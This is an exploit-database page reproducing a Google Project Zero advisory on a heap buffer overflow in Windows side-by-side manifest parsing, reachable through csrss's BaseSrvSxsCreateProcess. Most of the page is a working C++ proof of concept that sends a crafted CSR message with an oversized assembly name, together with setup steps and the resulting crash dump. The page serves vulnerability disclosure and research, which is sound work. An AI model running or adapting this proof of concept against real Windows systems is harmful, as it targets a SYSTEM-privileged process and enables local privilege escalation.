Advertisement






Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow

CVE Category Price Severity
CVE-2020-1027 CWE-119 Unknown High
Author Risk Exploitation Type Date
Unknown High Local 2022-08-15
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022080055

Below is a copy:

Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow
Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity

## SUMMARY
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.


## VULNERABILITY DETAILS
In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.

We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.

1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html


## VERSION
Windows 11 12H2 (OS Build 22000.593)
Windows 10 12H2 (OS Build 19044.1586)


## REPRODUCTION CASE
1) Enable page heap verification for csrss.exe:
```
gflags /p /enable csrss.exe /full
```

2) Restart the machine.

3) Compile and run:
```
#pragma comment(lib, "ntdll")

#include <windows.h>
#include <winternl.h>
#include <cstdint>
#include <cstdio>
#include <string>

typedef struct _SECTION_IMAGE_INFORMATION {
  PVOID EntryPoint;
  ULONG StackZeroBits;
  ULONG StackReserved;
  ULONG StackCommit;
  ULONG ImageSubsystem;
  WORD SubSystemVersionLow;
  WORD SubSystemVersionHigh;
  ULONG Unknown1;
  ULONG ImageCharacteristics;
  ULONG ImageMachineType;
  ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _RTL_USER_PROCESS_INFORMATION {
  ULONG Size;
  HANDLE ProcessHandle;
  HANDLE ThreadHandle;
  CLIENT_ID ClientId;
  SECTION_IMAGE_INFORMATION ImageInformation;
  BYTE Unknown1[128];
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;

NTSTATUS(NTAPI* RtlCreateProcessParameters)
(PRTL_USER_PROCESS_PARAMETERS*,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PVOID,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING);
NTSTATUS(NTAPI* RtlCreateUserProcess)
(PUNICODE_STRING,
 ULONG,
 PRTL_USER_PROCESS_PARAMETERS,
 PSECURITY_DESCRIPTOR,
 PSECURITY_DESCRIPTOR,
 HANDLE,
 BOOLEAN,
 HANDLE,
 HANDLE,
 PRTL_USER_PROCESS_INFORMATION);

PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);

void CaptureString(LPVOID capture_buffer,
                   uint8_t* msg_field,
                   PCWSTR string,
                   size_t length = 0) {
  if (length == 0)
    length = lstrlenW(string);

  CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
                          length * 2 + 2, (PSTR)msg_field);
}

int main() {
  HMODULE ntdll = LoadLibrary(L"ntdll");

#define INIT_PROC(name) \
  name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));

  INIT_PROC(RtlCreateProcessParameters);
  INIT_PROC(RtlCreateUserProcess);

  INIT_PROC(CsrAllocateCaptureBuffer);
  INIT_PROC(CsrFreeCaptureBuffer);
  INIT_PROC(CsrClientCallServer);
  INIT_PROC(CsrCaptureMessageString);

  UNICODE_STRING image_path;
  PRTL_USER_PROCESS_PARAMETERS proc_params;
  RTL_USER_PROCESS_INFORMATION proc_info = {0};

  RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");
  RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL,
                             NULL, NULL, NULL, NULL);
  RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,
                       NULL, NULL, FALSE, NULL, NULL, &proc_info);

  const size_t HEADER_SIZE = 0x40;
  uint8_t msg[HEADER_SIZE + 0x1f8] = {0};

#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;

  SET_FIELD(2, proc_info.ClientId.UniqueProcess);
  SET_FIELD(3, proc_info.ClientId.UniqueThread);

  SET_FIELD(4, -1);
  SET_FIELD(7, 1);
  SET_FIELD(8, 0x20000);

  std::string manifest =
      "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "
      "manifestVersion='1.0'>"
      "<assemblyIdentity name='@' version='1.0.0.0'/>"
      "</assembly>";
  manifest.replace(manifest.find('@'), 1, 0x4000, 'A');

  SET_FIELD(13, manifest.c_str());
  SET_FIELD(14, manifest.size());

  PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);

  CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");
  CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2);
  CaptureString(capture_buffer, FIELD(28), L"A");
  SET_FIELD(28, 0xff000002);

  CsrClientCallServer(msg, capture_buffer, 0x1001001d,
                      sizeof(msg) - HEADER_SIZE);
}
```

The crash should look like to the following:
```
CONTEXT:  0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0)
rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010
rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001
rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80
 r8=0000000000000032  r9=00000000000001f7 r10=00007ff822e6b558
r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001
r14=0000000000000000 r15=0000000000000005
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!memcpy+0x113:
0033:00007ff8`25a53c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????
Resetting default scope

WRITE_ADDRESS:  0000020e6515d000

EXCEPTION_RECORD:  0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)
ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000001
   Parameter[1]: 0000020e6515d000
Attempt to write to address 0000020e6515d000

STACK_TEXT:
0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x113
0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1
0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd34
0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d6
0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x513
0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x104
0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe
0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x339
0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed
0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x545
0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x71
0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f3
0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0
0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f
```


## CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.



Found by: [email protected]

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.